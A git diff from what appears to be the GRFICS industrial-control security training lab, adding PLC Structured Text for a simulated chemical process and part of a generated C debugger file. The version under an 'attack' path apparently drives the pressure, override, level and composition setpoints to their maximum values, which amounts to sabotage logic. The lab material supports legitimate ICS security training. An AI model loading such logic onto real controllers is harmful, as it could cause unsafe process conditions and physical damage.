58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, 